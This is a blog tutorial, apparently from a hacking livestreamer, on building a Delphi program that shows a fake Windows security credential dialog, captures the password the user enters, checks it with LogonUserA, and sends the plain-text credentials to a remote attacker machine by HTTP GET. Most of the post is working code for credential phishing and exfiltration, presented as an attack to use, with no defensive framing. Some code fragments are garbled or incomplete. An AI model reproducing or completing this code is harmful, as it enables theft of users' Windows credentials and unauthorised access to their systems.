Hunting Windows Credentials (CredUIPromptForWindowsCredentials)


I recently started to do Live streaming on twitch and youtube to cover some techniques and do some live coding sessions. The first try was great, and your support is one of the key factors I look for.

In this article, I will write a detailed description of the concept and how I used it to accomplish the mission to create a custom login validation dialog to steal windows users’ credentials and transfer the results into a remote attacker machine.

Recently, I saw some of the C++ codes that have been shared on blog, it was a great job and helped me a lot. But our current mission is to use the well-known design of the windows validation dialog as exactly shown in the following picture with two win API calls.



  • Convert C++ windows MSDN API code into Delphi pascal
  • Implement the code function
  • Add windows validation using windows API call “LogonUserA.”
  • Transfering correct results into the attacker machine.

Convert C++ windows MSDN API code into Delphi pascal

Windows MSDN library provides all windows API call functions documentation in C++ syntax. That’s good, but in our case, we have to do some heavy work to convert these calls to Delphi Pascal. Maybe you got through this while using for C#. unfortunately, these documentations are not available for Pascal Language.

our lookup table is:

C++ Code

CREDUIAPI DWORD CredUIPromptForWindowsCredentialsA(
  DWORD         dwAuthError,
  ULONG         *pulAuthPackage,
  LPCVOID       pvInAuthBuffer,
  ULONG         ulInAuthBufferSize,
  LPVOID        *ppvOutAuthBuffer,
  ULONG         *pulOutAuthBufferSize,
  BOOL          *pfSave,
  DWORD         dwFlags

Pascal Code

CredUIPromptForWindowsCredentials: function (
var pUiInfo : TCredUIInfo;dwAuthError:DWORD; var pulAuthPackage:ULONG;pvInAuthBuffer:PCardinal;ulInAuthBufferSize:ULONG;
out ppvOutAuthBuffer: Cardinal; out pulOutAuthBufferSize: ULONG;
 pfsave: PVOID; dwFlags:DWORD): DWORD; stdcall;

C++ code

CREDUIAPI BOOL CredUnPackAuthenticationBufferA(
  DWORD dwFlags,
  PVOID pAuthBuffer,
  DWORD cbAuthBuffer,
  LPSTR pszUserName,
  DWORD *pcchlMaxUserName,
  LPSTR pszDomainName,
  DWORD *pcchMaxDomainName,
  LPSTR pszPassword,
  DWORD *pcchMaxPassword

Pascal code

 CredUnPackAuthenticationBuffer: function (dwFlags:DWORD;pAuthBuffer:PVOID;cbAuthBuffer:DWORD;pszUserName:LPSTR;
 var pcchlMaxUserName:DWORD;  pszDomainName:LPSTR; var pcchMaxDomainName:DWORD;pszPassword:LPSTR; var pcchMaxPassword:DWORD
 ): LONGBOOL; stdcall;

if we look closer to the MSDN documentation link, we see that some flags should be imported with API call as these parameters decide the behavior


converting that to Pascal is easy just by replacing 0x to $ char as the following

 CREDUIWIN_GENERIC                      = $00000001;
 CREDUIWIN_CHECKBOX                     = $00000002;
 CREDUIWIN_AUTHPACKAGE_ONLY             = $00000010;
 CREDUIWIN_IN_CRED_ONLY                 = $00000020;
 CREDUIWIN_ENUMERATE_ADMINS             = $00000100;
 CREDUIWIN_SECURE_PROMPT                = $00001000;
 CREDUIWIN_PACK_32_WOW                  = $10000000;

Implement the code function

Start coding should be straightforward as we have added a valid API calls function, then we have to clarify Dll Library to import its functions.

Pascal code

 CRED_MAX_USERNAME_LENGTH              = 256;

Cred                                  = 'credui.dll';

CredUIPromptForWindowsCredentialsName = {$IFDEF UNICODE}
 CredUnPackAuthenticationBufferName    = {$IFDEF UNICODE}
                                          {$ENDIF}Code language: PHP (php)

after that, we can craft our code to load CredUIPromptForWindowsCredentialsName function followed by the conditional case to validate the results based on exception handling

lib := safeloadlibrary(cred);
if Lib <> 0  then`
CredUIPromptForWindowsCredentials := GetProcAddress(lib,CredUIPromptForWindowsCredentialsName);
CredUnPackAuthenticationBuffer := GetProcAddress(lib,CredUnPackAuthenticationBufferName);
if assigned(CredUIPromptForWindowsCredentials) and assigned(CredUnPackAuthenticationBuffer) then
beginCode language: HTML, XML (xml)

if we have a closer look into C++ of a similar code block shared by blog, I should identify all Pascal variables.


  PCredUIInfo = ^TCredUIInfo;
  TCredUIInfo = record
  cbSize : DWORD;
  hwndParent : HWND;
  pszMessageText : PChar;
  pszCaptionText : Pchar;
  hbmBanner : HBITMAP;


Then coding the calling function of both APIs to get the case result of CredUIPromptForWindowsCredentials and then using CredUnPackAuthenticationBuffer to convert the BLOB to string representations of the credentials.

As we need these string values to output the plain text formatted results to the remote attacker machine.

case CredUIPromptForWindowsCredentials(
   CredInfo,AAuthError,lAuthPackage,nil,0,lOutBuffer,lOutBufferSize,@ASavePassword,CREDUIWIN_GENERIC or CREDUIWIN_CHECKBOX) of

  NO_ERROR: begin
 Result := CredUnPackAuthenticationBuffer(0,pointer(loutbuffer),loutbuffersize,
        if result  then
      Auser := string(lusername);
      Apassword := string(lpassword);
      ADomain := string(lDomain);
      result := true;
      end;Code language: JavaScript (javascript)

finally, our main code is working perfectly as you can see it successfully load the Windows security validation dialog

Add windows validation using windows API call “LogonUserA.”

The next step is to validly supply user access information, whether it is correct or not, and then the attacker can make sure if the user has entered the correct credentials access.

if not Logonuser(@username[1],nil,@password[1],LOGON32_LOGON_NETWORK,LOGON32_PROVIDER_DEFAULT,TOKEN) then

// correct case
// not correct case
end;Code language: JavaScript (javascript)

Transfering correct results into the attacker machine.

The final procedure is by sending entered user’s plain-text credentials. Using the Wininet component, we can send a GET request into the attacker machine supplied with sniffed credentials in the same URL.

Below is the code block to do GET requests in the wininet unit.

function sendevil(const Url: string): string;
  NetHandle: HINTERNET;
  UrlHandle: HINTERNET;
  Buffer: array[0..1023] of Byte;
  BytesRead: dWord;
  StrBuffer: UTF8String;
  Result := '';
  BytesRead := Default(dWord);
  NetHandle := InternetOpen('Mozilla/5.0(compatible; WinInet)', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);

  // NetHandle valid?
  if Assigned(NetHandle) then
      UrlHandle := InternetOpenUrl(NetHandle, PChar(Url), nil, 0, INTERNET_FLAG_RELOAD, 0);

      // UrlHandle valid?
      if Assigned(UrlHandle) then
            InternetReadFile(UrlHandle, @Buffer, SizeOf(Buffer), BytesRead);
            SetString(StrBuffer, PAnsiChar(@Buffer[0]), BytesRead);
            Result := Result + StrBuffer;
          until BytesRead = 0;
      // o/w UrlHandle invalid
        writeln('Cannot open URL: ' + Url);
  // NetHandle invalid
    raise Exception.Create('Unable to initialize WinInet');
endCode language: Delphi (delphi)

We can call that function in our final code block and add a conditional statement if the user has entered correct creds and then do a GET call with the status label as fail or success to know which credential is valid or randomly supplied.

TOKEN : Thandle;

if not CredHunt('test','test',$0,username,password,domain,savePassword)
if not Logonuser(@username[1],nil,@password[1],LOGON32_LOGON_NETWORK,LOGON32_PROVIDER_DEFAULT,TOKEN) then

endCode language: Delphi (delphi)

as the shared POC below, we successfully grabbed valid access credentials into our attacking machine

Subscribe now

to get the latest live hacks series on twitch and youtube, please click on subscribe or follow

Please follow and like us:

Leave a Comment